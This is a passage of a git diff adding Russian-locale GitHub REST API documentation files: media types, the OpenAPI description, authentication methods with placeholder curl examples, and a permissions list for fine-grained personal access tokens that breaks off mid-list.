09/05/2022 +ms.locfileid: '146681128' +--- +Настраиваемые типы мультимедиа используются в API, чтобы потребители могли выбирать формат данных, которые они хотят получить. Это делается путем добавления следующих типов (одного или нескольких) в заголовок `Accept` при создании запроса. Типы мультимедиа связаны с конкретными ресурсами, что позволяет изменять их независимо друг от друга и обеспечить поддержку форматов, которые не поддерживают другие ресурсы. + +Все типы мультимедиа {% data variables.product.product_name %} выглядят следующим образом: + + application/vnd.github.param[+json] + +Основные типы мультимедиа, поддерживаемые API: + + application/vnd.github+json + application/json + +{% note %} + +**Примечание.** В прошлом мы рекомендовали включить `v3` в заголовок `Accept`. Это больше не требуется и не повлияет на запросы API. + +{% endnote %} + +Если вы указываете свойство (например, full, raw и т. п.), поместите его после `github`: + + application/vnd.github.raw+json + +## Свойства текста комментария + +Текст комментария можно написать в [GitHub Flavored Markdown][gfm]. Все API [проблем](/rest/reference/issues), [комментариев к проблеме](/rest/reference/issues#comments), [комментариев к запросу на вытягивание](/rest/reference/pulls#comments) и [комментариев gist](/rest/reference/gists#comments) принимают одни и те же типы мультимедиа, перечисленные далее. + +### Raw + + application/vnd.github.raw+json + +Возвращает необработанный текст в разметке Markdown. Ответ будет включать `body`. Используется по умолчанию, если вы не передаете определенный тип мультимедиа. + +### Текст + + application/vnd.github.text+json + +Возвращает только текстовое представление разметки Markdown. Ответ будет включать `body_text`. + +### HTML + + application/vnd.github.html+json + +Возвращает HTML-представление, преобразованное из разметки Markdown. Ответ будет включать `body_html`. + +### Полное + + application/vnd.github.full+json + +Возвращает представления в виде необработанных данных, текста и HTML. Ответ будет включать `body`, `body_text` и `body_html`. + +## Свойства BLOB-объекта Git + +При [получении BLOB-объекта](/rest/reference/git#get-a-blob) разрешены следующие типы мультимедиа. + +### JSON + + application/vnd.github+json + application/json + +Возвращает JSON-представление BLOB-объекта с `content` в виде строки в кодировке base64. Используется по умолчанию, если ничего не передается. + +### Raw + + application/vnd.github.raw + +Возвращает необработанные данные BLOB-объекта. + +## Фиксации, сравнение фиксаций и запросы на вытягивание + +[API фиксаций](/rest/reference/repos#commits) и [API запросов на вытягивание](/rest/reference/pulls) поддерживают форматы [diff][git-diff] и [patch][git-patch]. + +### diff + + application/vnd.github.diff + +### Исправление + + application/vnd.github.patch + +### sha + + application/vnd.github.sha + +## Содержимое репозитория + +### Raw + + application/vnd.github.raw + +Возвращает необработанное содержимое файла. Используется по умолчанию, если вы не передаете определенный тип мультимедиа. + +### HTML + + application/vnd.github.html + +Для файлов разметки, таких как Markdown или AsciiDoc, можно получить отрисованный HTML-код с помощью типа мультимедиа `.html`. Языки разметки отрисовываются в HTML с помощью [библиотеки разметки](https://github.com/github/markup) с открытым кодом. + +## Gist + +### Raw + + application/vnd.github.raw + +Возвращает необработанное содержимое gist. Используется по умолчанию, если вы не передаете определенный тип мультимедиа. + +### base64 + + application/vnd.github.base64 + +Перед отправкой содержимое gist шифруется в кодировке Base64. Это может быть полезно, если gist содержит недопустимые последовательности UTF-8. + +[gfm]:http://github.github.com/github-flavored-markdown/ +[git-diff]: http://git-scm.com/docs/git-diff +[git-patch]: http://git-scm.com/docs/git-format-patch +[hypermedia]: /rest#hypermedia +[versions]: /developers/overview/about-githubs-apis diff --git a/translations/ru-RU/content/rest/overview/openapi-description.md b/translations/ru-RU/content/rest/overview/openapi-description.md new file mode 100644 index 000000000000..6bc4b13403d9 --- /dev/null +++ b/translations/ru-RU/content/rest/overview/openapi-description.md @@ -0,0 +1,35 @@ +--- +title: Описание OpenAPI +intro: 'REST API {% data variables.product.product_name %} полностью описан в документе по OpenAPI 3.0.' +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - API +ms.openlocfilehash: 84c81c856da1da67320463fba4b9b52bca88c844 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145125043' +--- +## Сведения об описаниях OpenAPI + +[OpenAPI](https://swagger.io/docs/specification/about/) является стандартной спецификацией для описания REST API. Описания OpenAPI позволяют как людям, так и компьютерам обнаруживать возможности API без необходимости предварительного чтения документации или изучения реализации. {% data variables.product.company_short %} сделал свои REST API общедоступными в виде документа, совместимого с OpenAPI 3.0. + +## Получение описания OpenAPI {% data variables.product.company_short %} + +Это описание можно найти в репозитории [Описание OpenAPI REST API](https://github.com/github/rest-api-description) с открытым кодом. + +Описание предоставляется в двух форматах. Пакетная версия работает в большинстве случаев, так как она включает компоненты OpenAPI для неоднократного использования и удобочитаемости. Если ваши средства не поддерживают встроенные ссылки на компоненты, мы также предоставляем полностью разыменованную версию. + +## Использование описания OpenAPI {% data variables.product.company_short %} + +Существует множество способов использования описания OpenAPI. Например, можно сделать следующее: + +* Создать собственный клиент API. +* Проверять и тестировать интеграцию REST API {% data variables.product.company_short %}. +* Исследовать и взаимодействовать с REST API {% data variables.product.product_name %} с помощью сторонних средств, таких как Insomnia или Postman. + +Например, {% data variables.product.company_short %} использует описание OpenAPI REST для создания [справочной документации по REST API](/rest) {% data variables.product.product_name %}. diff --git a/translations/ru-RU/content/rest/overview/other-authentication-methods.md b/translations/ru-RU/content/rest/overview/other-authentication-methods.md new file mode 100644 index 000000000000..cd303a1c1176 --- /dev/null +++ b/translations/ru-RU/content/rest/overview/other-authentication-methods.md @@ -0,0 +1,152 @@ +--- +title: Other authentication methods +intro: You can use basic authentication for testing in a non-production environment. +redirect_from: + - /v3/auth +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +shortTitle: Other authentication methods +--- + + +{% ifversion fpt or ghes or ghec %} +While the API provides multiple methods for authentication, we strongly +recommend using [OAuth](/apps/building-integrations/setting-up-and-registering-oauth-apps/) for production applications. The other +methods provided are intended to be used for scripts or testing (i.e., cases +where full OAuth would be overkill). Third party applications that rely on +{% data variables.product.product_name %} for authentication should not ask for or collect {% data variables.product.product_name %} credentials. +Instead, they should use the [OAuth web flow](/apps/building-oauth-apps/authorizing-oauth-apps/). + +{% endif %} + +{% ifversion ghae %} + +To authenticate we recommend using [OAuth](/apps/building-integrations/setting-up-and-registering-oauth-apps/) tokens, such a {% data variables.product.pat_generic %} through the [OAuth web flow](/apps/building-oauth-apps/authorizing-oauth-apps/). + +{% endif %} + +## Basic Authentication + +The API supports Basic Authentication as defined in +[RFC2617](http://www.ietf.org/rfc/rfc2617.txt) with a few slight differences. +The main difference is that the RFC requires unauthenticated requests to be +answered with `401 Unauthorized` responses. In many places, this would disclose +the existence of user data. Instead, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API responds with `404 Not Found`. +This may cause problems for HTTP libraries that assume a `401 Unauthorized` +response. The solution is to manually craft the `Authorization` header. + +### Via {% data variables.product.pat_generic %}s + +We recommend you use {% ifversion pat-v2%}{% data variables.product.pat_v2 %}s{% else %}{% data variables.product.pat_generic %}s{% endif %} to authenticate to the GitHub API. + +```shell +$ curl -u USERNAME:TOKEN {% data variables.product.api_url_pre %}/user +``` + +This approach is useful if your tools only support Basic Authentication but you want to take advantage of {% data variables.product.pat_generic %} security features. + +### Via username and password + +{% ifversion fpt or ghec %} + +{% note %} + +**Note:** {% data variables.product.prodname_dotcom %} has discontinued password authentication to the API starting on November 13, 2020 for all {% data variables.product.prodname_dotcom_the_website %} accounts, including those on a {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, or {% data variables.product.prodname_ghe_cloud %} plan. You must now authenticate to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API with an API token, such as an OAuth access token, GitHub App installation access token, or {% data variables.product.pat_generic %}, depending on what you need to do with the token. For more information, see "[Troubleshooting](/rest/overview/troubleshooting#basic-authentication-errors)." + +{% endnote %} + +{% endif %} + +{% ifversion ghes %} +To use Basic Authentication with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, simply send the username and +password associated with the account. + +For example, if you're accessing the API via [cURL][curl], the following command +would authenticate you if you replace `` with your {% data variables.product.product_name %} username. +(cURL will prompt you to enter the password.) + +```shell +$ curl -u USERNAME {% data variables.product.api_url_pre %}/user +``` +If you have two-factor authentication enabled, make sure you understand how to [work with two-factor authentication](/rest/overview/other-authentication-methods#working-with-two-factor-authentication). + +{% endif %} + +{% ifversion fpt or ghec %} +### Authenticating for SAML SSO + +{% note %} + +**Note:** Integrations and OAuth applications that generate tokens on behalf of others are automatically authorized. + +{% endnote %} + +{% note %} + +**Note:** {% data reusables.getting-started.bearer-vs-token %} + +{% endnote %} + +If you're using the API to access an organization that enforces [SAML SSO][saml-sso] for authentication, you'll need to create a {% data variables.product.pat_generic %} and [authorize the token][allowlist] for that organization. Visit the URL specified in `X-GitHub-SSO` to authorize the token for the organization. + +```shell +$ curl -v -H "Authorization: Bearer TOKEN" {% data variables.product.api_url_pre %}/repos/octodocs-test/test + +> X-GitHub-SSO: required; url=https://github.com/orgs/octodocs-test/sso?authorization_request=AZSCKtL4U8yX1H3sCQIVnVgmjmon5fWxks5YrqhJgah0b2tlbl9pZM4EuMz4 +{ + "message": "Resource protected by organization SAML enforcement. You must grant your personal token access to this organization.", + "documentation_url": "https://docs.github.com" +} +``` + +When requesting data that could come from multiple organizations (for example, [requesting a list of issues created by the user][user-issues]), the `X-GitHub-SSO` header indicates which organizations require you to authorize your {% data variables.product.pat_generic %}: + +```shell +$ curl -v -H "Authorization: Bearer TOKEN" {% data variables.product.api_url_pre %}/user/issues + +> X-GitHub-SSO: partial-results; organizations=21955855,20582480 +``` + +The value `organizations` is a comma-separated list of organization IDs for organizations require authorization of your {% data variables.product.pat_generic %}. +{% endif %} + +{% ifversion fpt or ghes or ghec %} +## Working with two-factor authentication + +When you have two-factor authentication enabled, [Basic Authentication](#basic-authentication) for _most_ endpoints in the REST API requires that you use a {% data variables.product.pat_generic %}{% ifversion ghes %} or OAuth token instead of your username and password{% endif %}. + +You can generate a new {% data variables.product.pat_generic %} {% ifversion fpt or ghec %}using [{% data variables.product.product_name %} developer settings](https://github.com/settings/tokens/new){% endif %}{% ifversion ghes %} or with the "[Create a new authorization][/rest/reference/oauth-authorizations#create-a-new-authorization]" endpoint in the OAuth Authorizations API to generate a new OAuth token{% endif %}. For more information, see "[Creating a {% data variables.product.pat_generic %} for the command line](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)". Then you would use these tokens to [authenticate using OAuth token][oauth-auth] with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.{% ifversion ghes %} The only time you need to authenticate with your username and password is when you create your OAuth token or use the OAuth Authorizations API.{% endif %} + +{% endif %} + +{% ifversion ghes %} +### Using the OAuth Authorizations API with two-factor authentication + +When you make calls to the OAuth Authorizations API, Basic Authentication requires that you use a one-time password (OTP) and your username and password instead of tokens. When you attempt to authenticate with the OAuth Authorizations API, the server will respond with a `401 Unauthorized` and one of these headers to let you know that you need a two-factor authentication code: + +`X-GitHub-OTP: required; SMS` or `X-GitHub-OTP: required; app`. + +This header tells you how your account receives its two-factor authentication codes. Depending how you set up your account, you will either receive your OTP codes via SMS or you will use an application like Google Authenticator or 1Password. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)." Pass the OTP in the header: + +```shell +$ curl --request POST \ + --url https://api.github.com/authorizations \ + --header 'authorization: Basic PASSWORD' \ + --header 'content-type: application/json' \ + --header 'x-github-otp: OTP' \ + --data '{"scopes": ["public_repo"], "note": "test"}' +``` +{% endif %} + +[curl]: http://curl.haxx.se/ +[oauth-auth]: /rest/overview/resources-in-the-rest-api#authentication +[personal-access-tokens]: /articles/creating-a-personal-access-token-for-the-command-line +[saml-sso]: /articles/about-identity-and-access-management-with-saml-single-sign-on +[saml-sso-tokens]: https://github.com/settings/tokens +[allowlist]: /github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on +[user-issues]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user diff --git a/translations/ru-RU/content/rest/overview/permissions-required-for-fine-grained-personal-access-tokens.md b/translations/ru-RU/content/rest/overview/permissions-required-for-fine-grained-personal-access-tokens.md new file mode 100644 index 000000000000..9f5f3883a774 --- /dev/null +++ b/translations/ru-RU/content/rest/overview/permissions-required-for-fine-grained-personal-access-tokens.md @@ -0,0 +1,731 @@ +--- +title: Permissions required for fine-grained personal access tokens +intro: 'You can find the required permissions for each {% data variables.product.pat_v2 %}-compatible endpoint.' +versions: + feature: pat-v2 +miniTocMaxHeadingLevel: 3 +shortTitle: '{% data variables.product.pat_v2_caps %} permissions' +--- + +## About permissions required for {% data variables.product.pat_v2 %} + +When you create a {% data variables.product.pat_v2 %}, you grant it a set of permissions. Permissions define what resources the {% data variables.product.prodname_github_app %} can access via the API. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." + +## Actions + +- [`GET /repos/{owner}/{repo}/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-a-repository) (read) +- [`GET /repos/{owner}/{repo}/actions/caches`](/rest/actions/cache#list-github-actions-caches-for-a-repository) (read) +- [`DELETE /repos/{owner}/{repo}/actions/caches`](/rest/actions/cache#delete-github-actions-caches-for-a-repository-using-a-cache-key) (write) +- [`DELETE /repos/{owner}/{repo}/actions/caches/{cache_id}`](/rest/actions/cache#delete-a-github-actions-cache-for-a-repository-using-a-cache-id) (write) +- [`GET /repos/{owner}/{repo}/actions/artifacts`](/rest/reference/actions#list-artifacts-for-a-repository) (read) +- [`GET /repos/{owner}/{repo}/actions/artifacts/{artifact_id}`](/rest/reference/actions#get-an-artifact) (read) +- [`DELETE /repos/{owner}/{repo}/actions/artifacts/{artifact_id}`](/rest/reference/actions#delete-an-artifact) (write) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/artifacts`](/rest/reference/actions#list-workflow-run-artifacts) (read) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/pending_deployments`](/rest/reference/actions#get-pending-deployments-for-a-workflow-run) (read) +- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/pending_deployments`](/rest/reference/actions#review-pending-deployments-for-a-workflow-run) (read) +- [`GET /repos/{owner}/{repo}/environments`](/rest/deployments/environments#list-environments) (read) +- [`GET /repos/{owner}/{repo}/actions/jobs/{job_id}`](/rest/reference/actions#get-a-job-for-a-workflow-run) (read) +- [`GET /repos/{owner}/{repo}/actions/jobs/{job_id}/logs`](/rest/reference/actions#download-job-logs-for-a-workflow-run) (read) +- [`POST /repos/{owner}/{repo}/actions/jobs/{job_id}/rerun`](/rest/reference/actions#re-run-job-for-workflow-run) (write) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/attempts/{attempt_number}/jobs`](/rest/reference/actions#list-jobs-for-a-workflow-run-attempt) (read) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/jobs`](/rest/reference/actions#list-jobs-for-a-workflow-run) (read) +- [`GET /repos/{owner}/{repo}/actions/runs`](/rest/reference/actions#list-workflow-runs-for-a-repository) (read) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}`](/rest/reference/actions#get-a-workflow-run) (read) +- [`DELETE /repos/{owner}/{repo}/actions/runs/{run_id}`](/rest/reference/actions#delete-a-workflow-run) (write) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/approvals`](/rest/reference/actions#get-the-review-history-for-a-workflow-run) (read) +- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/approve`](/rest/reference/actions#approve-a-workflow-run-for-a-fork-pull-request) (write) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/attempts/{attempt_number}`](/rest/reference/actions#get-a-workflow-run-attempt) (read) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/attempts/{attempt_number}/logs`](/rest/reference/actions#download-workflow-run-attempt-logs) (read) +- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/cancel`](/rest/reference/actions#cancel-a-workflow-run) (write) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/logs`](/rest/reference/actions#download-workflow-run-logs) (read) +- [`DELETE /repos/{owner}/{repo}/actions/runs/{run_id}/logs`](/rest/reference/actions#delete-workflow-run-logs) (write) +- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/rerun`](/rest/reference/actions#re-run-a-workflow) (write) +- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/rerun-failed-jobs`](/rest/reference/actions#re-run-workflow-failed-jobs) (write) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/timing`](/rest/reference/actions#get-workflow-run-usage) (read) +- [`GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}/runs`](/rest/reference/actions#list-workflow-runs) (read) +- [`GET /repos/{owner}/{repo}/actions/workflows`](/rest/reference/actions#list-repository-workflows) (read) +- [`GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}`](/rest/reference/actions#get-a-workflow) (read) +- [`PUT /repos/{owner}/{repo}/actions/workflows/{workflow_id}/disable`](/rest/reference/actions#disable-a-workflow) (write) +- [`POST /repos/{owner}/{repo}/actions/workflows/{workflow_id}/dispatches`](/rest/reference/actions#create-a-workflow-dispatch-event) (write) +- [`PUT /repos/{owner}/{repo}/actions/workflows/{workflow_id}/enable`](/rest/reference/actions#enable-a-workflow) (write) +- [`GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}/timing`](/rest/reference/actions#get-workflow-usage) (read) + +## Administration + +- [`PUT /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#create-or-update-a-repository-secret) (write) +- [`DELETE /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#delete-a-repository-secret) (write) +- [`GET /repos/{owner}/{repo}/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-a-repository) (read) +- [`PUT /repos/{owner}/{repo}/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-a-repository) (write) +- [`DELETE /repos/{owner}/{repo}/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository) (write) +- [`PUT /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#add-or-update-team-repository-permissions) (write) +- [`DELETE /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#remove-a-repository-from-a-team) (write) +- [`POST /orgs/{org}/repos`](/rest/reference/repos#create-an-organization-repository) (write) +- [`PATCH /repos/{owner}/{repo}`](/rest/reference/repos/#update-a-repository) (write) +- [`DELETE /repos/{owner}/{repo}`](/rest/reference/repos#delete-a-repository) (write) +- [`POST /repos/{owner}/{repo}/forks`](/rest/reference/repos#create-a-fork) (write) +- [`GET /repos/{owner}/{repo}/teams`](/rest/reference/repos#list-repository-teams) (read) +- [`POST /repos/{owner}/{repo}/transfer`](/rest/reference/repos#transfer-a-repository) (write) +- [`POST /user/repos`](/rest/reference/repos#create-a-repository-for-the-authenticated-user) (write) +- [`GET /repos/{owner}/{repo}/actions/permissions`](/rest/reference/actions#get-github-actions-permissions-for-a-repository) (read) +- [`PUT /repos/{owner}/{repo}/actions/permissions`](/rest/reference/actions#set-github-actions-permissions-for-a-repository) (write) +- [`GET /repos/{owner}/{repo}/actions/permissions/access`](/rest/reference/actions#get-workflow-access-level-to-a-repository) (read) +- [`PUT /repos/{owner}/{repo}/actions/permissions/access`](/rest/reference/actions#set-workflow-access-to-a-repository) (write) +- [`GET /repos/{owner}/{repo}/actions/permissions/selected-actions`](/rest/reference/actions#get-allowed-actions-for-a-repository) (read) +- [`PUT /repos/{owner}/{repo}/actions/permissions/selected-actions`](/rest/reference/actions#set-allowed-actions-for-a-repository) (write) +- [`GET /repos/{owner}/{repo}/actions/permissions/workflow`](/rest/reference/actions#get-default-workflow-permissions-for-a-repository) (read) +- [`PUT /repos/{owner}/{repo}/actions/permissions/workflow`](/rest/reference/actions#set-default-workflow-permissions-for-a-repository) (write) +- [`GET /repos/{owner}/{repo}/autolinks`](/v3/repos#list-autolinks) (read) +- [`POST /repos/{owner}/{repo}/autolinks`](/v3/repos#create-an-autolink) (write) +- [`GET /repos/{owner}/{repo}/autolinks/{autolink_id}`](/v3/repos#get-autolink) (read) +- [`DELETE /repos/{owner}/{repo}/autolinks/{autolink_id}`](/v3/repos#delete-autolink) (write) +- [`PUT /repos/{owner}/{repo}/automated-security-fixes`](/rest/reference/repos#enable-automated-security-fixes) (write) +- [`DELETE /repos/{owner}/{repo}/automated-security-fixes`](/rest/reference/repos#disable-automated-security-fixes) (write) +- [`PUT /repos/{owner}/{repo}/collaborators/{username}`](/rest/collaborators/collaborators#add-a-repository-collaborator) (write) +- [`DELETE /repos/{owner}/{repo}/collaborators/{username}`](/rest/collaborators/collaborators#remove-a-repository-collaborator) (write) +- [`GET /repos/{owner}/{repo}/invitations`](/rest/collaborators/invitations#list-repository-invitations) (read) +- [`PATCH /repos/{owner}/{repo}/invitations/{invitation_id}`](/rest/collaborators/invitations#update-a-repository-invitation) (write) +- [`DELETE /repos/{owner}/{repo}/invitations/{invitation_id}`](/rest/collaborators/invitations#delete-a-repository-invitation) (write) +- [`GET /user/repository_invitations`](/rest/collaborators/invitations#list-repository-invitations-for-the-authenticated-user) (read) +- [`PATCH /user/repository_invitations/{invitation_id}`](/rest/collaborators/invitations#accept-a-repository-invitation) (write) +- [`DELETE /user/repository_invitations/{invitation_id}`](/rest/collaborators/invitations#decline-a-repository-invitation) (write) +- [`GET /repos/{owner}/{repo}/keys`](/rest/reference/repos#list-deploy-keys) (read) +- [`POST /repos/{owner}/{repo}/keys`](/rest/reference/repos#create-a-deploy-key) (write) +- [`GET /repos/{owner}/{repo}/keys/{key_id}`](/rest/reference/repos#get-a-deploy-key) (read) +- [`DELETE /repos/{owner}/{repo}/keys/{key_id}`](/rest/reference/repos#delete-a-deploy-key) (write) +- [`GET /repos/{owner}/{repo}/pages/health`](/rest/pages#get-a-dns-health-check-for-github-pages) (write) +- [`GET /repos/{owner}/{repo}/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-a-repository) (read) +- [`GET /repos/{owner}/{repo}/actions/runners/{runner_id}`](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository) (read) +- [`DELETE /repos/{owner}/{repo}/actions/runners/{runner_id}`](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository) (write) +- [`GET /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository) (read) +- [`POST /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-a-repository) (write) +- [`PUT /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-a-repository) (write) +- [`DELETE /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-a-repository) (write) +- [`DELETE /repos/{owner}/{repo}/actions/runners/{runner_id}/labels/{name}`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-a-repository) (write) +- [`GET /repos/{owner}/{repo}/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-a-repository) (read) +- [`POST /repos/{owner}/{repo}/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-a-repository) (write) +- [`POST /repos/{owner}/{repo}/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-a-repository) (write) +- [`GET /repos/{owner}/{repo}/tags/protection`](/rest/reference/repos#list-tag-protection-state-of-a-repository) (read) +- [`POST /repos/{owner}/{repo}/tags/protection`](/rest/reference/repos#create-tag-protection-state-for-a-repository) (write) +- [`DELETE /repos/{owner}/{repo}/tags/protection/{tag_protection_id}`](/rest/reference/repos#delete-tag-protection-state-for-a-repository) (write) +- [`GET /repos/{owner}/{repo}/vulnerability-alerts`](/rest/reference/repos#check-if-vulnerability-alerts-are-enabled-for-a-repository) (read) +- [`PUT /repos/{owner}/{repo}/vulnerability-alerts`](/rest/reference/repos#enable-vulnerability-alerts) (write) +- [`DELETE /repos/{owner}/{repo}/vulnerability-alerts`](/rest/reference/repos#disable-vulnerability-alerts) (write) +- [`PUT /repos/{owner}/{repo}/topics`](/rest/reference/repos#replace-all-repository-topics) (write) +- [`GET /repos/{owner}/{repo}/traffic/clones`](/rest/metrics/traffic#get-repository-clones) (read) +- [`GET /repos/{owner}/{repo}/traffic/popular/paths`](/rest/metrics/traffic#get-top-referral-paths) (read) +- [`GET /repos/{owner}/{repo}/traffic/popular/referrers`](/rest/metrics/traffic#get-top-referral-sources) (read) +- [`GET /repos/{owner}/{repo}/traffic/views`](/rest/metrics/traffic#get-page-views) (read) + +## Blocking + +- [`GET /user/blocks`](/rest/reference/users#list-users-blocked-by-the-authenticated-user) (read) +- [`GET /user/blocks/{username}`](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user) (read) +- [`PUT /user/blocks/{username}`](/rest/reference/users#block-a-user) (write) +- [`DELETE /user/blocks/{username}`](/rest/reference/users#unblock-a-user) (write) + +## Checks + +- [`POST /repos/{owner}/{repo}/check-runs`](/rest/reference/checks#create-a-check-run) (write) +- [`GET /repos/{owner}/{repo}/check-runs/{check_run_id}`](/rest/reference/checks#get-a-check-run) (read) +- [`PATCH /repos/{owner}/{repo}/check-runs/{check_run_id}`](/rest/reference/checks#update-a-check-run) (write) +- [`GET /repos/{owner}/{repo}/check-runs/{check_run_id}/annotations`](/rest/reference/checks#list-check-run-annotations) (read) +- [`POST /repos/{owner}/{repo}/check-runs/{check_run_id}/rerequest`](/rest/reference/checks#rerequest-a-check-run) (write) +- [`GET /repos/{owner}/{repo}/check-suites/{check_suite_id}/check-runs`](/rest/reference/checks#list-check-runs-in-a-check-suite) (read) +- [`POST /repos/{owner}/{repo}/check-suites`](/rest/reference/checks#create-a-check-suite) (write) +- [`GET /repos/{owner}/{repo}/check-suites/{check_suite_id}`](/rest/reference/checks#get-a-check-suite) (read) +- [`POST /repos/{owner}/{repo}/check-suites/{check_suite_id}/rerequest`](/rest/reference/checks#rerequest-a-check-suite) (write) +- [`PATCH /repos/{owner}/{repo}/check-suites/preferences`](/rest/reference/checks#update-repository-preferences-for-check-suites) (write) +- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/pending_deployments`](/rest/reference/actions#review-pending-deployments-for-a-workflow-run) (read) + +## Codespaces + +- [`GET /orgs/{org}/codespaces`](/rest/reference/codespaces#list-in-organization) (read) +- [`GET /repos/{owner}/{repo}/codespaces`](/rest/reference/codespaces#list-codespaces-in-a-repository-for-the-authenticated-user) (read) +- [`POST /repos/{owner}/{repo}/codespaces`](/rest/reference/codespaces#create-a-codespace-in-a-repository) (write) +- [`GET /repos/{owner}/{repo}/codespaces/new`](/rest/reference/codespaces#preview-attributes-for-a-new-codespace) (write) +- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/codespaces`](/rest/reference/codespaces#create-a-codespace-from-a-pull-request) (write) +- [`GET /user/codespaces`](/rest/reference/codespaces#list-codespaces-for-the-authenticated-user) (read) +- [`POST /user/codespaces`](/rest/reference/codespaces#create-a-codespace-for-the-authenticated-user) (write) +- [`GET /user/codespaces/{codespace_name}`](/rest/reference/codespaces#get-a-codespace-for-the-authenticated-user) (read) +- [`PATCH /user/codespaces/{codespace_name}`](/rest/reference/codespaces#update-a-codespace-for-the-authenticated-user) (write) +- [`DELETE /user/codespaces/{codespace_name}`](/rest/reference/codespaces#delete-a-codespace-for-the-authenticated-user) (write) + +## Codespaces lifecycle admin + +- [`POST /user/codespaces/{codespace_name}/exports`](/rest/codespaces/codespaces#export-a-codespace-for-the-authenticated-user) (write) +- [`GET /user/codespaces/{codespace_name}/exports/{export_id}`](/rest/codespaces/codespaces#get-details-about-a-codespace-export) (read) +- [`POST /user/codespaces/{codespace_name}/start`](/rest/reference/codespaces#start-a-codespace-for-the-authenticated-user) (write) +- [`POST /user/codespaces/{codespace_name}/stop`](/rest/reference/codespaces#stop-a-codespace-for-the-authenticated-user) (write) + +## Codespaces metadata + +- [`GET /repos/{owner}/{repo}/codespaces/devcontainers`](/rest/reference/codespaces#list-devcontainers-in-a-repository-for-the-authenticated-user) (read) +- [`GET /repos/{owner}/{repo}/codespaces/machines`](/rest/reference/codespaces#list-available-machine-types-for-a-repository) (read) +- [`GET /user/codespaces/{codespace_name}/machines`](/rest/reference/codespaces#list-machine-types-for-a-codespace) (read) + +## Codespaces secrets + +- [`GET /repos/{owner}/{repo}/codespaces/secrets`](/rest/reference/codespaces#list-repository-secrets) (write) +- [`GET /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#get-a-repository-secret) (write) +- [`PUT /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#create-or-update-a-repository-secret) (write) +- [`DELETE /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#delete-a-repository-secret) (write) +- [`GET /repos/{owner}/{repo}/codespaces/secrets/public-key`](/rest/reference/codespaces#get-a-repository-public-key) (write) + +## Codespaces user secrets + +- [`GET /user/codespaces/secrets`](/rest/reference/codespaces#list-secrets-for-the-authenticated-user) (read) +- [`GET /user/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#get-a-secret-for-the-authenticated-user) (read) +- [`PUT /user/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#create-or-update-a-secret-for-the-authenticated-user) (write) +- [`DELETE 